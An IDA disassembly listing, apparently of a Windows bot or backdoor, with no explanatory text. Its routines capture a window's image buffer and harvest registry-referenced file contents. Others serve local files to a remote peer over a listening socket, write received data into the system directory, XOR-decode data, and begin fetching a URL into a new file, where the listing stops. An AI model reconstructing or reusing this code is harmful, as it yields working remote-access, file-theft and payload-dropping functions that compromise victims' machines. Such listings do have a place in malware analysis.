; Attributes: bp-based frame
sub_4183AB proc near ; CODE XREF: sub_40274D+7120p
var_94 = byte ptr -94h
var_80 = dword ptr -80h
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
Src = dword ptr -8
Size = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 94h
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
push dword_4DA128
xor ebx, ebx
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_444138
mov edi, eax
cmp edi, ebx
jnz short loc_4183E9
mov eax, esi
jmp loc_4185E5
; ---------------------------------------------------------------------------
loc_4183E9: ; CODE XREF: sub_4183AB+35j
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418406
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4441CC ; SendMessageA
jmp short loc_418408
; ---------------------------------------------------------------------------
loc_418406: ; CODE XREF: sub_4183AB+47j
xor eax, eax
loc_418408: ; CODE XREF: sub_4183AB+59j
cmp eax, ebx
jnz short loc_418413
loc_41840C: ; CODE XREF: sub_4183AB+8Bj
; sub_4183AB+BCj
mov ebx, esi
jmp loc_4185DC
; ---------------------------------------------------------------------------
loc_418413: ; CODE XREF: sub_4183AB+5Fj
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418433
lea eax, [ebp+var_94]
push eax
push 2Ch
push 40Eh
push edi
call dword_4441CC ; SendMessageA
loc_418433: ; CODE XREF: sub_4183AB+71j
cmp [ebp+var_80], ebx
jz short loc_41840C
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418456
push ebx
push ebx
push 42Ch
push edi
call dword_4441CC ; SendMessageA
mov [ebp+Size], eax
jmp short loc_418459
; ---------------------------------------------------------------------------
loc_418456: ; CODE XREF: sub_4183AB+96j
mov [ebp+Size], ebx
loc_418459: ; CODE XREF: sub_4183AB+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz short loc_41840C
push [ebp+Size] ; Size
call _malloc
mov esi, eax
cmp esi, ebx
pop ecx
jnz short loc_418480
xor ebx, ebx
inc ebx
jmp loc_4185DC
; ---------------------------------------------------------------------------
loc_418480: ; CODE XREF: sub_4183AB+CBj
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_41849D
push [ebp+Src]
push [ebp+Size]
push 42Ch
push edi
call dword_4441CC ; SendMessageA
loc_41849D: ; CODE XREF: sub_4183AB+DEj
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4184B8
mov ecx, 0A0h
loc_4184B8: ; CODE XREF: sub_4183AB+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_4184C2
push 78h
pop eax
loc_4184C2: ; CODE XREF: sub_4183AB+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418507
push esi
push [ebp+Size]
push 42Dh
push edi
call dword_4441CC ; SendMessageA
loc_418507: ; CODE XREF: sub_4183AB+14Aj
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418524
lea eax, [ebp+var_68]
push eax
push 60h
push 441h
push edi
call dword_4441CC ; SendMessageA
loc_418524: ; CODE XREF: sub_4183AB+165j
push edi
mov [ebp+var_64], ebx
mov [ebp+var_40], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], 1
mov [ebp+var_30], 5
mov [ebp+var_68], 1046Ah
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418562
lea eax, [ebp+var_68]
push eax
push 60h
push 440h
push edi
call dword_4441CC ; SendMessageA
loc_418562: ; CODE XREF: sub_4183AB+1A3j
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_41857D
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4441CC ; SendMessageA
loc_41857D: ; CODE XREF: sub_4183AB+1C0j
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_418596
push ebx
push ebx
push 43Eh
push edi
call dword_4441CC ; SendMessageA
loc_418596: ; CODE XREF: sub_4183AB+1DBj
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_4185B3
push [ebp+Src]
push [ebp+Size]
push 42Dh
push edi
call dword_4441CC ; SendMessageA
loc_4185B3: ; CODE XREF: sub_4183AB+1F4j
push [ebp+Src] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push edi
call dword_444084 ; IsWindow
test eax, eax
jz short loc_4185DC
push ebx
push ebx
push 40Bh
push edi
call dword_4441CC ; SendMessageA
loc_4185DC: ; CODE XREF: sub_4183AB+63j
; sub_4183AB+D0j ...
push edi
call dword_4440F8 ; DestroyWindow
mov eax, ebx
loc_4185E5: ; CODE XREF: sub_4183AB+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4183AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185EA proc near ; CODE XREF: sub_40274D+23F1p
Dest = byte ptr -3F4h
var_2F0 = dword ptr -2F0h
var_F0 = byte ptr -0F0h
Str = byte ptr -70h
var_C = dword ptr -0Ch
File = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_442A9C, ebx
mov [ebp+var_C], 80h
jz loc_418796
push esi
push edi
mov eax, offset off_442A9C
mov esi, offset dword_442AA8
mov edi, offset asc_436B94 ; "-"
loc_41861A: ; CODE XREF: sub_4185EA+1A4j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_444238 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4440B8 ; RegQueryValueExA
test eax, eax
jnz loc_41877D
mov eax, [esi]
cmp eax, ebx
jz loc_418741
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+Dest]
push offset aSS_0 ; "%s\\%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push offset aR ; "r"
push eax ; char *
call _fopen
add esp, 18h
cmp eax, ebx
mov [ebp+File], eax
jz loc_41877D
push eax
jmp short loc_4186AA
; ---------------------------------------------------------------------------
loc_418695: ; CODE XREF: sub_4185EA+D0j
push dword ptr [esi+4] ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_4186BE
push [ebp+File] ; File
loc_4186AA: ; CODE XREF: sub_4185EA+A9j
lea eax, [ebp+Str]
push 64h ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
test eax, eax
jnz short loc_418695
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_4186BE: ; CODE XREF: sub_4185EA+BBj
push 3Dh ; Val
push dword ptr [esi+4] ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+Str]
jz short loc_4186FD
push offset asc_436B90 ; "="
push eax ; Str
call _strtok
push offset asc_436B90 ; "="
push ebx ; Str
call _strtok
push eax
push dword ptr [esi-4]
lea eax, [ebp+var_2F0]
push edi ; Format
push eax ; Dest
call _sprintf
add esp, 20h
jmp short loc_418711
; ---------------------------------------------------------------------------
loc_4186FD: ; CODE XREF: sub_4185EA+E5j
push eax
push dword ptr [esi-4]
lea eax, [ebp+var_2F0]
push edi ; Format
push eax ; Dest
call _sprintf
add esp, 10h
loc_418711: ; CODE XREF: sub_4185EA+111j
push ebx ; int
push [ebp+arg_8] ; int
lea eax, [ebp+var_2F0]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+var_2F0]
push eax
call sub_417D70
add esp, 18h
loc_418736: ; CODE XREF: sub_4185EA+D2j
push [ebp+File] ; File
call _fclose
pop ecx
jmp short loc_41877D
; ---------------------------------------------------------------------------
loc_418741: ; CODE XREF: sub_4185EA+6Aj
lea eax, [ebp+var_F0]
push eax
push dword ptr [esi-4]
lea eax, [ebp+var_2F0]
push edi ; Format
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+arg_8] ; int
lea eax, [ebp+var_2F0]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
lea eax, [ebp+var_2F0]
push eax
call sub_417D70
add esp, 28h
loc_41877D: ; CODE XREF: sub_4185EA+60j
; sub_4185EA+A2j ...
push [ebp+var_4]
call dword_4441E8 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], ebx
jnz loc_41861A
pop edi
pop esi
loc_418796: ; CODE XREF: sub_4185EA+19j
pop ebx
leave
retn
sub_4185EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
sub_418799 proc near ; DATA XREF: sub_40274D+934o
Dst = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov eax, 11B4h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 6Dh
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_1B4]
rep movsd
push [ebp+74h+var_14]
xor edi, edi
inc edi
mov [eax+1B0h], edi
lea eax, [ebp+74h+var_1AC]
push eax
call sub_41A1C6
mov esi, eax
cmp esi, 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+74h+arg_0], esi
jnz short loc_41882D
lea eax, [ebp+74h+Dst]
push offset asc_436C10 ; "-"
push eax ; Dest
call _sprintf
xor ebx, ebx
cmp [ebp+74h+var_8], ebx
pop ecx
pop ecx
jnz short loc_418811
push ebx ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push esi ; int
call sub_40123B
add esp, 14h
loc_418811: ; CODE XREF: sub_418799+5Ej
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
push [ebp+74h+var_10]
call sub_40B149
pop ecx
loc_418826: ; CODE XREF: sub_418799+F4j
pop ecx
push edi
jmp loc_41894F
; ---------------------------------------------------------------------------
loc_41882D: ; CODE XREF: sub_418799+44j
push offset byte_42B633
push esi
call sub_41C9D4
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
jnz short loc_41888F
lea eax, [ebp+74h+Dst]
push offset asc_436BE0 ; "-"
push eax ; Dest
call _sprintf
xor ebx, ebx
cmp [ebp+74h+var_8], ebx
pop ecx
pop ecx
jnz short loc_418871
push ebx ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push esi ; int
call sub_40123B
add esp, 14h
loc_418871: ; CODE XREF: sub_418799+BEj
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
pop ecx
push esi
call dword_444218 ; closesocket
push [ebp+74h+var_10]
call sub_40B149
jmp short loc_418826
; ---------------------------------------------------------------------------
loc_41888F: ; CODE XREF: sub_418799+A4j
mov edi, ds:dword_42B014
push 64h
call edi ; Sleep
mov esi, 1000h
xor ebx, ebx
jmp short loc_4188D6
; ---------------------------------------------------------------------------
loc_4188A2: ; CODE XREF: sub_418799+162j
lea eax, [ebp+74h+Dst]
push offset asc_42CDD8 ; "\n"
push eax ; Dest
call _strcat
lea eax, [ebp+74h+Dst]
push eax ; Str
call sub_41C7BD
add esp, 0Ch
test eax, eax
jz short loc_4188FD
push 64h
call edi ; Sleep
push 0Ah
call sub_40B075
test eax, eax
pop ecx
jz short loc_4188FD
loc_4188D6: ; CODE XREF: sub_418799+107j
push esi ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push ebx
push esi
lea eax, [ebp+74h+Dst]
push eax
push [ebp+74h+arg_0]
call dword_444064 ; recv
test eax, eax
jg short loc_4188A2
loc_4188FD: ; CODE XREF: sub_418799+12Bj
; sub_418799+13Bj
lea eax, [ebp+74h+Dst]
push offset asc_436BAC ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+74h+var_8], ebx
pop ecx
pop ecx
jnz short loc_41892F
push ebx ; int
push [ebp+74h+var_C] ; int
lea eax, [ebp+74h+Dst]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41892F: ; CODE XREF: sub_418799+17Aj
lea eax, [ebp+74h+Dst]
push eax
call sub_417D70
pop ecx
push [ebp+74h+arg_0]
call dword_444218 ; closesocket
push [ebp+74h+var_10]
call sub_40B149
pop ecx
push ebx
loc_41894F: ; CODE XREF: sub_418799+8Fj
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_418799 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
sub_418956 proc near ; DATA XREF: sub_40274D+7452o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
Dest = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
Str = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dst = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 0A04h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 6Dh
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_1FC]
rep movsd
xor esi, esi
xor ebx, ebx
push esi
inc ebx
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+74h+var_10], esi
mov [ebp+74h+var_C], esi
mov [ebp+74h+var_20], esi
call dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+74h+var_18], edi
jnz short loc_4189A6
push offset unk_436D10
jmp loc_418B59
; ---------------------------------------------------------------------------
loc_4189A6: ; CODE XREF: sub_418956+44j
push 10h ; Size
lea eax, [ebp+74h+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push esi
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
mov word ptr [ebp+74h+var_2E], ax
push 10h
lea eax, [ebp+74h+Dst]
push eax
push edi
mov [ebp+74h+var_2E+2], esi
call dword_4441E4 ; bind
test eax, eax
jz short loc_4189E4
push offset unk_436CEC
jmp loc_418B59
; ---------------------------------------------------------------------------
loc_4189E4: ; CODE XREF: sub_418956+82j
lea eax, [ebp+74h+var_1C]
push eax
lea eax, [ebp+74h+Dst]
push eax
push edi
mov [ebp+74h+var_1C], 10h
call dword_444068 ; getsockname
push [ebp+74h+var_2E]
call dword_444200 ; htons
mov [ebp+74h+arg_0], esi
mov [ebp+74h+var_4], eax
lea eax, [ebp+74h+Str]
push eax ; Str
call _strlen
pop ecx
loc_418A16: ; CODE XREF: sub_418956+F1j
mov ecx, [ebp+74h+arg_0]
mov al, [ebp+ecx+74h+Str]
cmp al, 20h
jnz short loc_418A29
push 5Fh
pop eax
jmp short loc_418A2C
; ---------------------------------------------------------------------------
loc_418A29: ; CODE XREF: sub_418956+CCj
movsx eax, al
loc_418A2C: ; CODE XREF: sub_418956+D1j
mov [ebp+ecx+74h+var_604], al
lea eax, [ebp+74h+Str]
inc ecx
push eax ; Str
mov [ebp+74h+arg_0], ecx
call _strlen
cmp [ebp+74h+arg_0], eax
pop ecx
jbe short loc_418A16
push ebx
push edi
call dword_444230 ; listen
test eax, eax
jz short loc_418A5F
push offset asc_436C10 ; "-"
jmp loc_418B59
; ---------------------------------------------------------------------------
loc_418A5F: ; CODE XREF: sub_418956+FDj
push esi
push esi
push 3
push esi
push ebx
push 80000000h
lea eax, [ebp+74h+Str]
push eax
call ds:dword_42B08C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+74h+var_8], eax
jnz short loc_418A89
push offset unk_436CCC
jmp loc_418B59
; ---------------------------------------------------------------------------
loc_418A89: ; CODE XREF: sub_418956+127j
push esi
push eax
call ds:dword_42B0BC ; GetFileSize
push eax
mov [ebp+74h+arg_0], eax
movzx eax, word ptr [ebp+74h+var_4]
push eax
push [ebp+74h+var_1FC]
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
push eax
call dword_444234 ; htonl
push eax
lea eax, [ebp+74h+Str]
push eax
lea eax, [ebp+74h+Dest]
push offset dword_436CB4 ; Format
push eax ; Dest
call _sprintf
push esi ; int
push esi ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_DC]
push eax ; Str
push [ebp+74h+var_1FC] ; int
call sub_40123B
add esp, 2Ch
lea eax, [ebp+74h+var_38]
push eax
push esi
push esi
lea eax, [ebp+74h+var_500]
push eax
push esi
mov [ebp+74h+var_38], 3Ch
mov [ebp+74h+var_34], esi
mov [ebp+74h+var_4FC], edi
mov [ebp+74h+var_500], ebx
call dword_4441B0 ; select
test eax, eax
jg short loc_418B33
push esi ; int
push [ebp+74h+var_54] ; int
lea eax, [ebp+74h+var_DC]
push offset dword_436C9C ; int
push eax ; Str
push [ebp+74h+var_1FC] ; int
call sub_40123B
jmp loc_418C57
; ---------------------------------------------------------------------------
loc_418B33: ; CODE XREF: sub_418956+1BEj
lea eax, [ebp+74h+var_14]
push eax
lea eax, [ebp+74h+var_48]
push eax
push edi
mov [ebp+74h+var_14], 10h
call dword_4440BC ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+74h+var_1F8], eax
jnz short loc_418B6C
push offset asc_436C78 ; "-"
loc_418B59: ; CODE XREF: sub_418956+4Bj
; sub_418956+89j ...
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_418C5A
; ---------------------------------------------------------------------------
loc_418B6C: ; CODE XREF: sub_418956+1FCj
push edi
call dword_444218 ; closesocket
cmp [ebp+74h+arg_0], esi
jz loc_418C1E
mov edi, 400h
loc_418B81: ; CODE XREF: sub_418956+2BFj
mov eax, [ebp+74h+arg_0]
cmp eax, edi
mov [ebp+74h+var_4], edi
jge short loc_418B8E
mov [ebp+74h+var_4], eax
loc_418B8E: ; CODE XREF: sub_418956+233j
push edi ; Size
lea eax, [ebp+74h+var_A04]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+74h+arg_0]
add esp, 0Ch
push 2
push esi
neg eax
push eax
push [ebp+74h+var_8]
call ds:dword_42B0B8 ; SetFilePointer
push esi
lea eax, [ebp+74h+var_20]
push eax
push [ebp+74h+var_4]
lea eax, [ebp+74h+var_A04]
push eax
push [ebp+74h+var_8]
call ds:dword_42B080 ; ReadFile
push esi
push [ebp+74h+var_4]
lea eax, [ebp+74h+var_A04]
push eax
push [ebp+74h+var_1F8]
call dword_4441A0 ; send
mov [ebp+74h+var_4], eax
cdq
add [ebp+74h+var_10], eax
push esi
push edi
adc [ebp+74h+var_C], edx
lea eax, [ebp+74h+var_A04]
push eax
push [ebp+74h+var_1F8]
call dword_444064 ; recv
cmp eax, ebx
jl loc_418CB0
mov eax, [ebp+74h+var_4]
cmp eax, ebx
jl loc_418CB0
sub [ebp+74h+arg_0], eax
jnz loc_418B81
mov edi, [ebp+74h+var_18]
loc_418C1E: ; CODE XREF: sub_418956+220j
push [ebp+74h+var_8]
call ds:dword_42B004 ; CloseHandle
push [ebp+74h+var_C]
push [ebp+74h+var_10]
call sub_419443
pop ecx
pop ecx
push eax
push [ebp+74h+var_44]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Str]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_436C4C ; "-"
push eax ; Dest
call _sprintf
loc_418C57: ; CODE XREF: sub_418956+1D8j
add esp, 14h
loc_418C5A: ; CODE XREF: sub_418956+211j
cmp [ebp+74h+var_50], esi
jnz short loc_418C7C
push esi ; int
push [ebp+74h+var_54] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_DC]
push eax ; Str
push [ebp+74h+var_1FC] ; int
call sub_40123B
add esp, 14h
loc_418C7C: ; CODE XREF: sub_418956+307j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
cmp edi, esi
pop ecx
jbe short loc_418C94
push edi
call dword_444218 ; closesocket
loc_418C94: ; CODE XREF: sub_418956+335j
push [ebp+74h+var_1F8]
call dword_444218 ; closesocket
push [ebp+74h+var_58]
call sub_40B149
pop ecx
push esi
loc_418CAA: ; CODE XREF: sub_418956+392j
call ds:dword_42B068 ; ExitThread
loc_418CB0: ; CODE XREF: sub_418956+2ABj
; sub_418956+2B6j
push esi ; int
push [ebp+74h+var_54] ; int
mov esi, offset asc_436C34 ; "-"
push esi ; int
lea eax, [ebp+74h+var_DC]
push eax ; Str
push [ebp+74h+var_1FC] ; int
call sub_40123B
push esi
call sub_417D70
add esp, 18h
push [ebp+74h+var_1F8]
call dword_444218 ; closesocket
push [ebp+74h+var_58]
call sub_40B149
pop ecx
push ebx
jmp short loc_418CAA
sub_418956 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_418CEA proc near ; DATA XREF: sub_40274D+6FEo
Dst = byte ptr -14C4h
var_4C4 = dword ptr -4C4h
Dest = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
Str = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov eax, 14C4h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 6Dh
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_1C0]
rep movsd
xor esi, esi
inc esi
mov [eax+1B0h], esi
push 104h
lea eax, [ebp+74h+Dest]
xor ebx, ebx
push eax
mov [ebp+74h+var_8], ebx
call ds:dword_42B010 ; GetSystemDirectoryA
lea eax, [ebp+74h+var_1A4]
push eax
lea eax, [ebp+74h+Dest]
push eax
push offset aSS ; "%s%s"
push eax ; Dest
call _sprintf
add esp, 10h
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
lea eax, [ebp+74h+Dest]
push eax
call ds:dword_42B08C ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_418D70
push offset unk_436DB0
jmp short loc_418DB6
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418CEA+7Dj
push eax
call ds:dword_42B004 ; CloseHandle
lea eax, [ebp+74h+Dest]
push offset aAB ; "a+b"
push eax ; char *
call _fopen
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+74h+File], eax
jnz short loc_418D98
push offset unk_436D80
jmp short loc_418DB6
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418CEA+A5j
push [ebp+74h+var_20]
lea eax, [ebp+74h+var_1B8]
push eax
call sub_41A1C6
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+74h+arg_0], eax
jnz short loc_418DC9
push offset asc_436D60 ; "-"
loc_418DB6: ; CODE XREF: sub_418CEA+84j
; sub_418CEA+ACj
lea eax, [ebp+74h+var_4C4]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_418EBF
; ---------------------------------------------------------------------------
loc_418DC9: ; CODE XREF: sub_418CEA+C5j
mov esi, 1000h
loc_418DCE: ; CODE XREF: sub_418CEA+14Aj
push esi ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push ebx
push esi
lea eax, [ebp+74h+Dst]
push eax
push [ebp+74h+arg_0]
call dword_444064 ; recv
mov edi, eax
cmp edi, ebx
jz loc_418E91
cmp edi, 0FFFFFFFFh
jz short loc_418E36
push [ebp+74h+File] ; File
lea eax, [ebp+74h+Dst]
push edi ; Count
push 1 ; Size
push eax ; Str
call _fwrite
add [ebp+74h+var_8], edi
add esp, 10h
push [ebp+74h+var_8]
call dword_444234 ; htonl
push ebx
mov [ebp+74h+var_C], eax
push 4
lea eax, [ebp+74h+var_C]
push eax
push [ebp+74h+arg_0]
call dword_4441A0 ; send
jmp short loc_418DCE
; ---------------------------------------------------------------------------
loc_418E36: ; CODE XREF: sub_418CEA+114j
lea eax, [ebp+74h+var_4C4]
push offset asc_436C34 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+74h+var_18] ; int
lea eax, [ebp+74h+var_4C4]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_1C0] ; int
call sub_40123B
lea eax, [ebp+74h+var_4C4]
push eax
call sub_417D70
push [ebp+74h+File] ; File
call _fclose
add esp, 24h
push [ebp+74h+arg_0]
call dword_444218 ; closesocket
push [ebp+74h+var_1C]
call sub_40B149
pop ecx
push 1
jmp loc_418F14
; ---------------------------------------------------------------------------
loc_418E91: ; CODE XREF: sub_418CEA+10Bj
mov eax, [ebp+74h+var_8]
cdq
push edx
push eax
call sub_419443
push eax
lea eax, [ebp+74h+var_1B8]
push eax
lea eax, [ebp+74h+var_1A4]
push eax
lea eax, [ebp+74h+var_4C4]
push offset asc_436D34 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
loc_418EBF: ; CODE XREF: sub_418CEA+DAj
cmp [ebp+74h+var_14], ebx
jnz short loc_418EE1
push ebx ; int
push [ebp+74h+var_18] ; int
lea eax, [ebp+74h+var_4C4]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_1C0] ; int
call sub_40123B
add esp, 14h
loc_418EE1: ; CODE XREF: sub_418CEA+1D8j
lea eax, [ebp+74h+var_4C4]
push eax
call sub_417D70
cmp [ebp+74h+File], ebx
pop ecx
jz short loc_418EFC
push [ebp+74h+File] ; File
call _fclose
pop ecx
loc_418EFC: ; CODE XREF: sub_418CEA+207j
cmp [ebp+74h+arg_0], ebx
jbe short loc_418F0A
push [ebp+74h+arg_0]
call dword_444218 ; closesocket
loc_418F0A: ; CODE XREF: sub_418CEA+215j
push [ebp+74h+var_1C]
call sub_40B149
pop ecx
push ebx
loc_418F14: ; CODE XREF: sub_418CEA+1A2j
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_418CEA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_418F1B proc near ; CODE XREF: sub_418F38+11Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_418F37
loc_418F27: ; CODE XREF: sub_418F1B+1Aj
mov dl, byte_43C08C
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_418F27
locret_418F37: ; CODE XREF: sub_418F1B+Aj
retn
sub_418F1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_418F38 proc near ; DATA XREF: sub_40274D+5F78o
; sub_40274D+6799o
var_604 = qword ptr -604h
var_5F8 = qword ptr -5F8h
Dst = byte ptr -514h
var_314 = dword ptr -314h
Str = byte ptr -310h
var_290 = byte ptr -290h
var_190 = byte ptr -190h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_6C = dword ptr -6Ch
var_60 = dword ptr -60h
var_40 = dword ptr -40h
var_3C = word ptr -3Ch
var_28 = byte ptr -28h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Memory = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 514h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
mov esi, eax
mov ecx, 0AAh
lea edi, [ebp+74h+var_314]
rep movsd
xor esi, esi
push esi
push esi
xor edi, edi
push esi
inc edi
mov [eax+2A4h], edi
push esi
lea eax, [ebp+74h+var_290]
push eax
push dword_444254
call dword_444108 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+74h+var_10], eax
jz loc_4193C2
push esi
push esi
push 2
push esi
push esi
push 40000000h
lea eax, [ebp+74h+var_190]
push eax
call ds:dword_42B08C ; CreateFileA
cmp eax, edi
mov [ebp+74h+var_14], eax
jnb short loc_418FFE
